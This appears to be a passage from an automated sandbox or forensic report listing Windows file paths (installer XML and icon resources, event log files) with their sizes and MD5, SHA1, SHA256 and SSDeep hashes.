C:\588bce7c90097ed212\3082\LocalizedData.xml 79.58 KB MD5: 0fe6408a42fc237582bc055b438d106d
SHA1: 421c0199a7439da99e7ab841d6b35287df519e99
SHA256: 7206e794b67fb05d51294d932a6183dc161738e6a94b5680b18f97d5127580b4
SSDeep: 1536:uiDsk/Vlz6ZfhvE3leNsSJdg2hXZTnQd9KbNTUdWKy5yHeTjMgu:9lWXCle9nhXZ7QWbNTxKcs7 		False
...
C:\588bce7c90097ed212\Client\Parameterinfo.xml 197.07 KB MD5: 84cb0278635f2882412c600eea7c41d5
SHA1: 5dba8c09501cc49097851be8ce50e5e25cc3c575
SHA256: 22a3f491ca1f94c71b111ecbaeff490e0ec4ece7d6bfe4fcc92f97d1093e744a
SSDeep: 384:wYQH0RbAGiYNVrkT+8TodTBltw11VTvcL1wCiUj78leRqmH9Hej2iXWKMNGIe9bE:w2RbYoVQTLTQTDFdPknZ13GpPcbrI/ 		False
...
C:\588bce7c90097ed212\Client\Parameterinfo.xml 198.53 KB MD5: e306d65736f39a3f28a91483e3f98e31
SHA1: 95b81ba8a9300ca18d494856e6e7618b07be84ff
SHA256: 39eac957284ac93c9d62c173c0bfd5c4b2bf15fcea36ebc09cc9fddbf2ad2052
SSDeep: 3072:Y0Hhl9vZu94bkHdPWfB77mfDtqj+rk1iBXo8Z1smuDMwpODJUtBIUGJZ:Bj9vuVQfBGUJ1iS8YPDMwsNUMUGJZ 		False
...
C:\588bce7c90097ed212\Client\UiInfo.xml 38.13 KB MD5: b0bbe7a6aa327d266c76ba63ba0e2ce8
SHA1: b641422a4b925320bd38f7be7a01194d3f76c4a2
SHA256: c6afe4c5eefa02939d0ed16e3edeeef100563b1a5fa4c974b3d8c7788d6fd4c7
SSDeep: 768:24URyd5vssgP7ZgZ/vSguJQvFQXvDINJh6F8hZkV1GO0N0phUl9eu+dODOOODOt+:24URyd5vsTPuZXQYQLIN/6F8hZkV1GO9 		False
...
C:\588bce7c90097ed212\Client\UiInfo.xml 39.60 KB MD5: 41fac6441e282655a4734ade71e4f031
SHA1: e4ab1d97a606daf3ae5bdc709f01b56777dcbf5d
SHA256: 0bb49e025a96536a2fbe2952711712c1dbcee92365134af8ed44693b77418732
SSDeep: 768:3GqXefCvvLIvPf5dD4iEoRGsf4o3h8WPmZKNWmBgq9SDei+16Du:PXFTI/51E9H6h8x2fgq9YKyu 		False
...
C:\588bce7c90097ed212\Extended\Parameterinfo.xml 91.13 KB MD5: da2c5003a8bf885e62aa6e0d144f2a47
SHA1: 58594d7d695591d4632d2ae66e2150d2d6f714ba
SHA256: 3bc935619119c3cab75fb3bfe8fa0bfbe80b9242faa67dff0437ed258a47a44d
SSDeep: 384:tYDmmqzP4JUaGMLiqedW0XeeUnG3GPcbrKF/:tRTaBG2PcbrI/ 		False
...
C:\588bce7c90097ed212\Extended\Parameterinfo.xml 92.60 KB MD5: 656097096526547bbec65b612de25548
SHA1: 9af6743e475797ab7e2d5669535f66df8541bd39
SHA256: 5fd4b6344c8dffcf4a32372d805248748316947e3faf1ccaa07dd051c7598007
SSDeep: 1536:jA4r3Wa9EvuF71vnTCc0n1tmIp5c1A24tVXpX0yL9c15RIH6tZsZJ4Kr1u:jxhLnTqn1N9rXp0yq5KCZsn4F 		False
...
C:\588bce7c90097ed212\Extended\UiInfo.xml 38.14 KB MD5: 103e3804aaf325e00ea83a30bdb78539
SHA1: 3435ecf2fdcd9c5fffd21ec766c9198deafe9d94
SHA256: 7a234e816f3cccf8334bd34df4c7704936977236cb53d984aa692bc70cf27508
SSDeep: 768:24URsd5vssgP7ZgZ/vSguJQvFQXvDINJh6Fuh3kr1UO0NWpPUb9cu+dOtOcOdOjw:24URsd5vsTPuZXQYQLIN/6Fuh3kr1UOT 		False
...
C:\588bce7c90097ed212\Extended\UiInfo.xml 39.60 KB MD5: 521a886a027f0f3ef9e55d55a3b4a4c7
SHA1: d0cddcda871bee1ae1a9f16bfb1b066dbcc70757
SHA256: 9c8f44ed4adcfad21648166361011f0a71eaa8e03cad21a31652b734144ca4bb
SSDeep: 768:sB/TocDLCG5gwbROfVwsNPyT4kdra08dYRL0uyG7Xh1hAXpMyP7u:MTocvxlO+sNKT4wra0vLMKymyP7u 		False
...
C:\588bce7c90097ed212\Graphics\Print.ico 1.12 KB MD5: 2cd7000aa52356b8762bf7ca7a2a776c
SHA1: c2580167d4d6700212e31bc89290ef478544d642
SHA256: 7201f67baeb0204274af3be27be1ee771b8e317919c2c65d6c00dcb37cd9a3dd
SSDeep: 24:dOjNyw2aSGZHJi4U7Wf0mDX+QF7s/AemFAz:MjNyw/0NW9DOp/ANm 		False
...
C:\588bce7c90097ed212\Graphics\Print.ico 2.60 KB MD5: 34359995d20da6505a0f7ee7da671203
SHA1: 6b590b888fc7dbdfc7e782790b71680bc210493c
SHA256: c5c08a4f7c889bf04d5358dac5f8811403be2ee00fc33649c791682d62eef210
SSDeep: 48:5DAZUNp6tlZ+NfqQL60x3BDt93zbOK4ybAFpD/pgG4xgQTAGZQLXiuQih:5etPxQlx3D9u5ybAzD/+GOgQgk+ 		False
...
C:\588bce7c90097ed212\Graphics\Rotate1.ico 895 bytes MD5: 52902fefc2777df7377fa8745dfb7560
SHA1: 97f6f678a4e20d9574565e63f344809b433ce3c2
SHA256: 3ee6da4a7f6d077aa6b90a1bd37d6b8b151f0f8c693693141c602e4dfa69398b
SSDeep: 6:kRKqNllGuv/ll2dL/rK//dlQt0tlWMlMN8Fq/wbD4tNZDlNc367YCm6p+Wvtjlpx:pIGOmDAQt8n+uNbctNZ5w6AsXjKHRp5U 		False
...
C:\588bce7c90097ed212\Graphics\Rotate1.ico 2.35 KB MD5: 73d0e4493eed91b966db046d8d468128
SHA1: acb077d8f496fe9564764b31afaba51eb57e6f4e
SHA256: e6384c5e4abb7d0dddc9d0f7525f940164525511bbb569990c3a02561a434b32
SSDeep: 48:AkW2nhkhJFdzbN2IpgG4xgQTAGZQLXiuQih:hWphJFdzII+GOgQgk+ 		False
...
C:\588bce7c90097ed212\Graphics\Rotate2.ico 895 bytes MD5: 84601e0fe8a0927bea93a37406f572db
SHA1: ef35c2ef2d52b521678890a9eb4e859456ac52a7
SHA256: 3dd53e63ba082039274608e3a454aaa6e1194ea342a1bc97d068ec48b1ce659f
SSDeep: 12:pmZX5+9wQaxWbwW3h/7eHzemn0iLHRp5U:Md5EaxWbh/Cnto 		False
...
C:\588bce7c90097ed212\Graphics\Rotate2.ico 2.35 KB MD5: d6fdbcf00ae086dc2a616c9712b95d50
SHA1: 5219055adc60a3a501098d22ef0e6424f1821c00
SHA256: b1c82c4e9ecb4bfa168ba17b700213bd65007ac325668d32017e6387fad54c61
SSDeep: 48:A9ZxGcuNpjeGK5gavOHpgG4xgQTAGZQLXiuQih:wZxGcu3jF8gCOH+GOgQgk+ 		False
...
C:\588bce7c90097ed212\Graphics\Rotate3.ico 895 bytes MD5: 0e896d935722f5d67c16550ab94f9a52
SHA1: 05e4ca103d711014e27d929215a03dce02320299
SHA256: c53341dd2ce56e0a378af9e241d5951b21801c9e7bb4e1359fd5343a1138f590
SSDeep: 12:pPrMIMxPWk3AyORrabBQ+gra2/MXWM4xfQHRp5U:1gxPbXlBQ+gr1ffOo 		False
...
C:\588bce7c90097ed212\Graphics\Rotate3.ico 2.35 KB MD5: 341e4635dcdc7afe0eb8abbb0f509bda
SHA1: b27418a95f59281fba0106a25158f653414d1dd4
SHA256: fa4077c075745d064acc36cf3e853ec3b543847be61db939a84704e573fdf5b6
SSDeep: 48:AKH0CxlT5wqF/X2R0VK7KcmV8PlopgG4xgQTAGZQLXiuQih:DFF/X2WK7Kcmt+GOgQgk+ 		False
...
C:\588bce7c90097ed212\Graphics\Rotate4.ico 895 bytes MD5: 50126934c8aa542bd783d8a72675a64e
SHA1: 7303e7d0ec529f1d4ed8592264be70355ca44388
SHA256: 607334cb62090a9065333d9ac2f293a7976eb188cb3fb8e823eb396632e7d4f2
SSDeep: 6:kRK///FleTxml+SzNaoT9Q0/lHOmMdrYln8OUo/XRWl2XOXFBYpqnHp/p5U:p///FPwxUrMunUofRReFNHRp5U 		False
...
C:\588bce7c90097ed212\Graphics\Rotate4.ico 2.35 KB MD5: b68e115f8a92b2264c0ba711c9fa3402
SHA1: e4bca3d597602e5002d2f25e8a1606cd6db98701
SHA256: 1c3f1884c04cc0e1703487c439f4112850096d7f8df9d095f2de2b1b1432f463
SSDeep: 48:AbtYWw4zLz+Fv4Xil/hrMpgG4xgQTAGZQLXiuQih:8/ghM+GOgQgk+ 		False
...
C:\588bce7c90097ed212\Graphics\Rotate5.ico 895 bytes MD5: acff277a7feb607c30ee50a6461d7361
SHA1: f670a616cc113afcbb4f9266d233f0a2c3fabcc7
SHA256: bf818036fdf1690cf1f83b678957420b9ac83360e6d83d58c479482f72d14943
SSDeep: 6:kRKi+Blqkl/QThulVDYa5a//ItEl/aotzauakg//5aM1lkl05Kaag2/JqnHp/p5U:pXBHehqSayIylrtBg/bk4AgzHRp5U 		False
...
C:\588bce7c90097ed212\Graphics\Rotate5.ico 2.35 KB MD5: 2ee5fce684ae661c3e23ba0c93d2c0bc
SHA1: dbf8784e3262d86a36da7396955e7425f5e9fc80
SHA256: 98b7cc3434a830bfb5039914e43dd4c27d2c914aaf770ba8d8ffbb6fa9399a1b
SSDeep: 48:A7O7TFR2PiHsl02Wm/b4MRpFpgG4xgQTAGZQLXiuQih:EO7TFRkDlV/blpF+GOgQgk+ 		False
...
C:\588bce7c90097ed212\Graphics\Rotate6.ico 895 bytes MD5: 2bf69afea81db24e2af58c7aa2bee39c
SHA1: 9ba271980e12657f51c1575a6c34c0ab0df76f1a
SHA256: 834b3f203a8951eb28d7d091b553393a9a08c514fefa27cd73795063865f9cc7
SSDeep: 12:pjs+/hlRwx5REHevtOkslTaGWOpRFkpRHkCHRp5U:tZ/u+HeilBh/F+Rdo 		False
...
C:\588bce7c90097ed212\Graphics\Rotate6.ico 2.35 KB MD5: 49e278395fc66fd8e2c9d97d5c47b3ad
SHA1: eacbffe9e84e9aa5e04c2ae1044e3bb63ff0e3ff
SHA256: 11a9e0c5e22aa7ea6b5dd621acb56c49182838ebef19722c7aea42a3057365c2
SSDeep: 48:APd9eeb3g+1liIWoMsQ9Af23a5ocZpgG4xgQTAGZQLXiuQih:m95TP1lbusGA+7cZ+GOgQgk+ 		False
...
C:\588bce7c90097ed212\Graphics\Rotate7.ico 895 bytes MD5: d62a0f5f11b45f6108fa95bc87616d40
SHA1: 482589e9f5b8885511a2a18f88229dc6b17f9627
SHA256: 485fef60a642cee29b38e2f4d7c1d4871950ab07c3da6ef321eb76c3f473cbb6
SSDeep: 6:kRKIekllisUriJ2IP+eX8iDml8mS8+hlxllwqlllkg2klHYdpqnHp/p5U:p8os0iieX8iNVHX//x2sHYdoHRp5U 		False
...
C:\588bce7c90097ed212\Graphics\Rotate7.ico 2.35 KB MD5: 468f9128446c242c4379dc5b5f658f29
SHA1: 56bc1cf7e6fd395eeba71a5fc6cca634831325be
SHA256: 4c457c2b63636e81adf7b70e893bf96431693c4e49f73f9fff25c0345b512b67
SSDeep: 48:AT+mTEn7Vgd7bwLkufFmXzpgG4xgQTAGZQLXiuQih:nxY0oqmz+GOgQgk+ 		False
...
C:\588bce7c90097ed212\Graphics\Rotate8.ico 895 bytes MD5: 6aae2bd31616ec52d809536ceea0c09d
SHA1: c7e6c24588d6eab431a090558b6284eaeb11d39d
SHA256: 7403bc3f70ee412ba0e9ffe57b2f3fd9418ff00e12bb22f9b5c724652f1ff703
SSDeep: 12:pPv1OuTerb53mpOBfXjQuZfKWpIXE1D6HRp5U:91OEerb53eUQsflpIPo 		False
...
C:\588bce7c90097ed212\Graphics\Rotate8.ico 2.35 KB MD5: c6018be32ed8642ad93c9d50ed64dde2
SHA1: 6d3126d3b05eaa5ffa6227de54d35976c0117e5c
SHA256: 7b1da6287cbf91533b517dbeb5a6364daee785521b7687ebc66d8c8994aed265
SSDeep: 48:AWj1SGOIL2v8N9d21OpgG4xgQTAGZQLXiuQih:vqEN9d2A+GOgQgk+ 		False
...
C:\588bce7c90097ed212\Graphics\Save.ico 1.12 KB MD5: 88f6d7e4c6d665958c6f3f41f5bcb856
SHA1: 6550d6c7f9b091babeae84aa2c795436f076885c
SHA256: 1e8cb3817768849489083be4d46fe2f2a8b6fd6e41edef33cb6d0a1420cb16b0
SSDeep: 24:Br5ckw0Pce/WPv42lPpJ2/BatY9Y4ollEKeKzl:h6kPccWPQS2UtEYFEKeq 		False
...
C:\588bce7c90097ed212\Graphics\Save.ico 2.60 KB MD5: 571d12ecc8acdab5c53f6491fb0ef5e4
SHA1: 718544ee173ac3e68f43b8d159aa76e66eabc6ff
SHA256: d5d605d0297ad3186ce6dcf5bfa3d75e3df0c06dcc06c8f650e0b2d4d062da0f
SSDeep: 48:E7DlsyQ40rgHgpItPw2hJ8sgP4Jz5FMkpgG4xgQTAGZQLXiuQih:agHrHF2hrm4+GOgQgk+ 		False
...
C:\588bce7c90097ed212\Graphics\Setup.ico 35.85 KB MD5: b2c2e74aa7b98d4d75cd7303bd1ce7d4
SHA1: f3503167f2a583872248a7b5602df475ae953a7e
SHA256: 585493ff14a97770ef7461a219c2d3acb6089163ae4d9b758ec9f71cb24182be
SSDeep: 384:IXcWz9GU46B4riEzg8CKcqxkk63gBh6wSphnBcI/ObMFp2rOebgcjTQch4:IMWQ2Bf8qqxMQP8pc4XessTJ4 		False
...
C:\588bce7c90097ed212\Graphics\Setup.ico 37.31 KB MD5: 5bf5f64cb7fe048baf24235364f1e4cc
SHA1: 43391ae3c3125071da7cc018de55aa8b1e8ba769
SHA256: 7d60b65c4f97bbe3270862e2b2c2aff5b492e0eecfb7a099aa9f9219d305f2ed
SSDeep: 768:k1MivIis5MmYYIC2dlyfKdaRhJpRY0cTjXFKwF1HZVey6l9sbm6wDB5qRu:k1ZvEVHIC6fdaTJpG0cTjfVeKADzEu 		False
...
C:\588bce7c90097ed212\Graphics\stop.ico 9.90 KB MD5: a095e272b785b66a707689cdf367014a
SHA1: 19fb49e0c277e63099a1a98170b2794bbdc9d392
SHA256: 73396feaaf0bcaf872a78e35e10138bbb9fc4d59477e197cdeabdeaf47d2c826
SSDeep: 96:uC1kqWje1S/f1AXa0w+2ZM4xD02EuZkULqcA0zjrpthQ2Ngms9+LmODclhpjdfLX:JkqAFqroMS9lD9Ngr9+m7bxpXHT5ToYD 		False
...
C:\588bce7c90097ed212\Graphics\stop.ico 11.36 KB MD5: 9bbde0494a7a68b8f54183d61eb3cace
SHA1: 91fcdd1b3da4bea9dd4ee7b7a7f5f58b57530b65
SHA256: 364af33c6cf42b890f5fc41d4149a05e0c3a849b26e81c01fc6e02e90c3e0138
SSDeep: 192:n8Hj3+/4Sj1qdQJyEUlZO/umHCqB+L/vUjTVtBf6+IFLQTggNX1XtjTabu+amROu:n8Hj3+/NjOEUPeBQLHU3VtBSTinhWQu 		False
...
C:\588bce7c90097ed212\Graphics\SysReqMet.ico 1.12 KB MD5: b2ce57c038c8137ebfbd9490da4dfbac
SHA1: 1d3b23d57f9d8e1cbff29ad158d31d69f2d7096f
SHA256: 81323d98665ebdd0faebe5cd5e86b87671146f77bd3d32c6c1f6b4c471721866
SSDeep: 24:MuoBP5lj49s9NRDe4LakKcTM8cv99uGzM3:MlFH3/Ri4LaN3e 		False
...
C:\588bce7c90097ed212\Graphics\SysReqMet.ico 2.60 KB MD5: 99f918ada121cbdc9ae680f8e5d3f5be
SHA1: 51c29e2257e980af8762744ca603750d8630febf
SHA256: c391a8b1acb517cef4ec1aa333dcdca89802d50a1763d1f5c079b590a8235a4e
SSDeep: 48:lggzHGm0EhbrtaQmuSM6n+jYbfePpgG4xgQTAGZQLXiuQih:zThdaqzK+VP+GOgQgk+ 		False
...
C:\588bce7c90097ed212\Graphics\SysReqNotMet.ico 1.12 KB MD5: 5ecaa0e6b6ba215f34746c0c1cd008c4
SHA1: 92295904dab30bd8f64774cc8e4d3cad5a5e9479
SHA256: ba87c196205eb6fbe79a6095512508d6fd81a2e97271730f5b9df4a555a9a827
SSDeep: 24:u2iVNINssNQhYMEyfCHWZZ7rTRrbWjcyuM:uDW871fdZ1lbWjMM 		False
...
C:\588bce7c90097ed212\Graphics\SysReqNotMet.ico 2.60 KB MD5: 3e828d81bd5d5b5effaf9a24e1d4c118
SHA1: 6b58ec8c9f52f02abd844682d8a9dd25f7e5317f
SHA256: ae71f04ab9a629a8226636a2f9f5d0ba7dd0cde765e53886f59f1597ad3d37b1
SSDeep: 48:MShC9v/RrRVMHp6a68SFXFB6Y8dypgG4xgQTAGZQLXiuQih:Ml9vbVaHfSFFBydy+GOgQgk+ 		False
...
C:\588bce7c90097ed212\Graphics\warn.ico 9.90 KB MD5: 1261cb1a93a820e0049be43d755acd35
SHA1: 552ef416cda7cb15476b5c48dc53db40a3c4b3c6
SHA256: f390186cf77f4a40cce2fb6d3bb9b990c6555e6bab4f1ccf219abc37e48dd0dd
SSDeep: 192:USAk9ODMuYKFfmiMyT4dvsZQl+g8DnPUmXtDV3EgTtU:r9wM7pyEBlcgssmXpVUgJU 		False
...
C:\588bce7c90097ed212\Graphics\warn.ico 11.36 KB MD5: f8d06eb57b4555d180cff559168412d5
SHA1: 5d9c2e07ded94636b3315e46ac9d9ebddf061ff2
SHA256: f0742d6a0d1787117a7eeb3dfbf05ce78b2339dd590e395eb7d1ff30a72e4689
SSDeep: 192:gFaN+aqDEQob1M/geGwYxBdPBELLUvf5Z7HdUdzZ8H+I31e/qROX+:gFaBpb2M/dFdidzdIQCQu 		False
...
C:\Logs\Application.evtx 68.00 KB MD5: 594173e25c434cd074ce4ce1e64cb57a
SHA1: 026850595874597e1277e9c0abf95d124a3f302e
SHA256: 0fc64e3f02204e8846dc7944a4c512a98897439d40bd07317092044f80aa3f8e
SSDeep: 768:xHIz8GFMIxEkigqJqAczhqbIkq6cqiqdqCIXIuqCLIHNI3R:48xIxEzcWcouR 		False
...
C:\Logs\Application.evtx 69.47 KB MD5: 891795488f0d8c947eb72292a369db07
SHA1: affa47008f478ccc15c1204e9ab74ad93090ad57
SHA256: f63489f6d54a86cecce5f379cea9fd7992b873a10a25c78166c69b45103b8e8b
SSDeep: 1536:G+2A+U+YAivYwsDFw4MK+bxkMhK+Tq58xf0JAu2u:r2AqYrWWHK+1Y+Tq58xf09 		False
...
C:\Logs\HardwareEvents.evtx 69.47 KB MD5: bb0857c6c294b4f535fa0ea636cd8aee
SHA1: 0222525d43edea8f1fa3efe6bf5006af82fe1bbf
SHA256: 82428a75322a49078be667b7f215b9c27d82753bd4fabb6567db96a8dda0129c
SSDeep: 1536:hez2V9Y4uO9ma1UWWo3kKZLfC6s85xCDktpWhpPQqUojh2ixdUHsZu:h8+5X9xZN3zBA8FjWhDUixdUHsQ 		False
...
C:\Logs\Internet Explorer.evtx 69.47 KB MD5: 08ff9067212262863041d8150f6cf31e
SHA1: 4fdf97fc157eb9fa659d13cfafde967e5bf0e8a4
SHA256: dd28861b166fd918ff453e9a0f0502f364142beaa1d325372bc3df40b4512f40
SSDeep: 1536:vXo1c3GxP8yZdO72abFQGu6Dme1EymmVP7KfYObixyPyUZ3FqyGu:vn2xOKsFQGu6Dme1PmkPgZ2YPyUZVxt 		False
...
C:\Logs\Key Management Service.evtx 69.47 KB MD5: 0b19ae87ca423d8676f2b9188f28f46b
SHA1: 604e4cbb9805c63c6dd1154cef901deaa5c04bef
SHA256: 90416553f362b7fabfc763f002ba1bc11b3d775b61a9d8a514bb580fa980f6ca
SSDeep: 1536:3iFjQ6JmNAyzaaamhAc+jAQHCjQTAMnR27sWDXu:USNARa7AvjA0nTOsW6 		False
...
C:\Logs\Microsoft-Client-Licensing-Platform%4Admin.evtx 68.00 KB MD5: 9c71784b5669550f794a5355ef1624af
SHA1: 97c51297bc048f34d584a2d398a71f78c798331a
SHA256: a8317821e3a25e22bd4e3d1b6888582089d35799d9261f9c9170d319b5a63de0
SSDeep: 192:bOV7puQ7YYhgHqdXptK45WlR3TsaICbHtUOykATnRQjdG8yKg2GqFShdW:bOheYhgqdXptKHICbHtULkATKyKg9 		False
...
C:\Logs\Microsoft-Client-Licensing-Platform%4Admin.evtx 69.47 KB MD5: aacc5f1f6922fa4fab4f449f1a0b39d1
SHA1: 3ba4377e665c33981f5b83cd40b2a804a94e3d88
SHA256: cfcc6623b46714a48b6758331a716ef8c15188e8099860669a96a1953724fc35
SSDeep: 1536:4SoYeytDSIkXpM0DrCBf2HHY0r1mwZjMBZE4y3Xydu:/oYeyteJSw2f6YXw9MZw3XyE 		False
...
C:\Logs\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx 69.47 KB MD5: 6b51e0714f43d2962572768b60c8eefa
SHA1: cb55057eb2e425c98593f100df820e7dee626d73
SHA256: 4739cbdf21af6def81d00c04f579fc6ee2eff2859a6e8e96420bad6fa4a0c099
SSDeep: 1536:ZCAnXym6x49pIJEFY2khLqWQ2XOJF9wRNHzuqlo4ymjJH7PSV30SmmheRFOm7kSh:ZCoXs494ANk99XOJFpwoFg7PSVkSm9w8 		False
...
C:\Logs\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx 1.00 MB MD5: cdaeb7db9a64dd17bf78869e7afd5655
SHA1: 6c685cb505eb624a0dadae6ee88d250bf18003d7
SHA256: ccabffac9e18f5286fc5e31eb8da55086aec94927a24a39b240e1a9e4298b356
SSDeep: 3072:NZTZKPJ5r+5CJn/X3dlvwrTzt5AXqtclb7vF1rum/lZmJauFMbTZ08bD1p5Qv6wH:NV5G 		False
...
C:\Logs\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx 1.01 MB MD5: 08f0f8926d5d9599b13e423876bb795d
SHA1: 6c5a5183ad56e99ab1bac24cf6a63f2698f2ded5
SHA256: 847d4bc500c50caff24ef81c7948afb12eb05d0af08fb1435da422b379143dd9
SSDeep: 3072:3vNtWKLqq6cIAKa5LVvWctygawrztr31Wou37v8tTbceInF9bGhqq1ALnXi/YHPk:7v+q7puoyf6t7K37AbceIn3G4qWlG3 		False
...
C:\Logs\Microsoft-Windows-AppLocker%4EXE and DLL.evtx 69.47 KB MD5: c48d7e38fb5ea82d4bebebee90a8839d
SHA1: d11e67d6422ed205380f6ffd28577e24f34dcf6d
SHA256: a2a111316b72807ae9821e7aee06698fcf294557a6f50ecb59f9460d6931b6f2
SSDeep: 1536:5d0vH9xzzFaripg2zpi+KKwNhhAWlk25VkBI23KcVyco0itu:fUHHzRariG2zpi3KwN/lk9IG1VcU 		False
...
C:\Logs\Microsoft-Windows-AppLocker%4MSI and Script.evtx 68.00 KB MD5: 5d9c3274e3f4cd51341be68925f7c6a1
SHA1: 8221f1fcb1f79d885ad2740d4f95208e4dcab651
SHA256: 91111e58c5f47d646ba9e3ef5e6fb018ac57a46cbae4fe1f4455be1c3586773a
SSDeep: 384:GhIYT4Y2YnYKY4YjYXYRY3YoY/ulYaY9UYCYOYGRYXYCYsYJxYDY:GCuiQ 		False
...
C:\Logs\Microsoft-Windows-AppLocker%4MSI and Script.evtx 69.47 KB MD5: 8478004645e0f13998f7661eb8f98287
SHA1: cba6910d8202172b8c74c08cee49ba8b3a120ccc
SHA256: e3fcce478c001250b096678910009628c71441d07e4aa644b8c92d766be7c85d
SSDeep: 1536:rcDWnNn7fe9eEG1ieCMf5fQ/FyWMmzeaAG/qLQ6UToQN7u:rcWN7fe9eEGXLmMmzudQ6UT1y 		False
...
C:\Logs\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx 69.47 KB MD5: 949a69228887f3b07ca4c926d7f9e887
SHA1: 415020f833e99d5b24a135f65111c8f17a416bf5
SHA256: fa40bbaac0e7117eebc2d0459f4b60aca6a698f0e703ce89416ba93fc25c19ab
SSDeep: 1536:Dc8sfxq0+l76JyX0BzcHvy5EM/4FkBPcvIo3ZlJaagbNYu:Rs5qXl/XOPtJBPcwo3ZlJhWp 		False
...
C:\Logs\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx 69.47 KB MD5: fd65455f177f4c59e07809c54214f10d
SHA1: e81c3f6875c35810e2cb088eddc1d7e8d399b9f0
SHA256: a70dbfe92e9b4e0e710c9324af720f869d820865d34371df57f0ae49a5ba4ec7
SSDeep: 1536:vnbc5D8jVHDRQb9cWxN5Dd1A3tTAQHl3qmCIbxcj9fFWu:vw5YjxRQb9cWx/nIVBHlsIbI9t9 		False
...
C:\Logs\Microsoft-Windows-AppModel-Runtime%4Admin.evtx 68.00 KB MD5: d16b73cd6093d2718f2f9c8a32e691c2
SHA1: b586286648c40cdec4ec563e8503e5622a1ad1f6
SHA256: 9c18f33c1bd6414dae85a8bc7d037bb71f577d43632b81703bb91e3f966fb067
SSDeep: 384:9hINe5BN5fNSNzN5NaNdNgNrNcN1Ne/NMcN9NBpKNtNmNzNsNINcRNj2NUN/NoSM:97LbUXCn5 		False
...
C:\Logs\Microsoft-Windows-AppModel-Runtime%4Admin.evtx 69.47 KB MD5: 6c6b90b87b44734706f89720a90e42cd
SHA1: e1586c21639f1d33d5be73682cc1ea92be4253ab
SHA256: ad61a11409984bd0798e6837f57523b32f8a87856e35eacfb659b56a79b28035
SSDeep: 1536:AbIDi9Fax+HGWIZwO1H2lw663329aBKpT9TRGOZxyX7u:YqSc+HGWIeO1Xx3m4BKpT9dGGxyi 		False
...
C:\Logs\Microsoft-Windows-AppReadiness%4Admin.evtx 68.00 KB MD5: ef437c2d0ab39345632fb20bd9b8b354
SHA1: 164cfa933c148979d19092a464163708f5bd3757
SHA256: 28815c6bded7dc2a14e9f7a4bad833f6678eacb3591947fd23336473f22e57d3
SSDeep: 384:UhdIlItI2I4XISyI5I8IlIcIwIsI0ICI8IDIKIQzLI7InIGIrI5IUI/IRILIlIXT:UmFj 		False
...
C:\Logs\Microsoft-Windows-AppReadiness%4Admin.evtx 69.47 KB MD5: feb2b6b79ff392d7344fc344e4acd071
SHA1: 5244254704c94112c751dd3aff355d2f1e2408aa
SHA256: 9c4d6224a5a2daf5eb6cb73e967f0fea8962e3f07743f47ac1fbb29c5dc8f3eb
SSDeep: 1536:DChpqd9g3oY/lV9udhWcgAFUZcfp3o9TuCEGHm6uWblqDrfhq4EWu:4p+9g48lV9uObWCcB47EGgWK9qV 		False
...
C:\Logs\Microsoft-Windows-AppReadiness%4Operational.evtx 1.07 MB MD5: dd1e686a8c23c83623311bc7f2106724
SHA1: cfd40e74fe87f0a118a1e5bb8473a9951fa435f7
SHA256: 27e2e2bd98e7e2e1323f663419d4816beedbff39f1fc2e30baeb5e1a35d0ae41
SSDeep: 768:ut5eUJYnFP6TPSZR86f0FCaWc7BsivBDSBYHjPY7p+1/5TV0zx1N2aw:IJgdT07GivBDSyHjA/zx1m 		False
...
C:\Logs\Microsoft-Windows-AppReadiness%4Operational.evtx 1.07 MB MD5: 4e51ce3526b256b4b2a67f6602a56915
SHA1: 7263e976e0cf8d0a5012d0a6a548fbd26edf83a3
SHA256: 9c75ed60b72d5b7b60a81c4c6604e19264e779aee17005a5ee9c7748b5d1f592
SSDeep: 6144:5gG/pNmSgtf0nz7Z1e/VKMx7OojkWFFb2EaQYzHmL:SG/pJ0fUq/r0KlX2YYzHmL 		False
...
C:\Logs\Microsoft-Windows-AppXDeployment%4Operational.evtx 68.00 KB MD5: 67ec0de84de193b8dbe7399b664600bd
SHA1: 3b5517c3975a223f6ea9930527158a1a302dde84
SHA256: aaef6c938618212f7cf52cf2834a7fc7c90bc9544b7ef51f813750746ae8e36f
SSDeep: 384:vhh8VOV2DVxV4VqVpV6VXFOVLGV9VvzV3V6CVHVbVLVaVnVlViVaV:vLvO 		False
...
C:\Logs\Microsoft-Windows-AppXDeployment%4Operational.evtx 69.47 KB MD5: 7dc66f78a1f90630db96dd5764d00041
SHA1: f7c936e1dbde77f87e29c401a7a03f111361ee89
SHA256: e11d99cc03d057d7be770a0a5f19695bdb14011b6ce63549bf14bf642065c74f
SSDeep: 1536:H6DISZQW022BBt5Q9EdEclZ5iYZFzKodfqV41z3pGlHGV7pRNfZ2+su:H6DIQQRTBb4DclZ5iAViWpNRNfZdL 		False
...
C:\Logs\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx 2.07 MB MD5: 0b2121c7e1296462d67c92a0383fe2e8
SHA1: c0f82f32baecf9e3ec9ce3d18cbc5075060a196c
SHA256: 092baa8b90f961ab1c3eb7fbd284b7315c0b28c8be572186d34597043bad12aa
SSDeep: 3072:yT8ZfIXU4bgUzJCANS7ebOKXQbwkqBYxbJ1OAzLU5vQ4LkTK2JNiHim5WN/jAQgw:U7cPT 		False
...
C:\Logs\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx 2.07 MB MD5: 876bc38a0a1ecb10072a0db743f1907a
SHA1: ae3293b5fe23c8e98dc99249fa64ae4e966351f6
SHA256: ea2cd87779f87c11eb570f93c6e026af90fbf85abde642ca95505fd6263c8147
SSDeep: 6144:juAsvkQyGuBlMcKWLlwOEFzUF9x8baSLLwCg9Jz5o8FycPT9:ils5BNSO2Y8baALSjG8FJ 		False
...
C:\Logs\HardwareEvents.evtx 68.00 KB MD5: 2ee084c48fa2a28cb9464069f37cdbb7
SHA1: d115cbc5e88dd63621adcbebbdbc680765c6799b
SHA256: e15f7086edb577f2671e1f020a52d56cc7d878b357bbaabe3e782de0ea94ab30
SSDeep: 3:MgAWl1lH/1EY+qfaltpRTtPl2tVRl/l:Mkf7NijRM 		False
...
C:\Logs\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx 69.47 KB MD5: 113ae896fd0305a4f28ca7515d44887a
SHA1: f3b4a343b6eb88e934af48cb08dab49d8addb89e
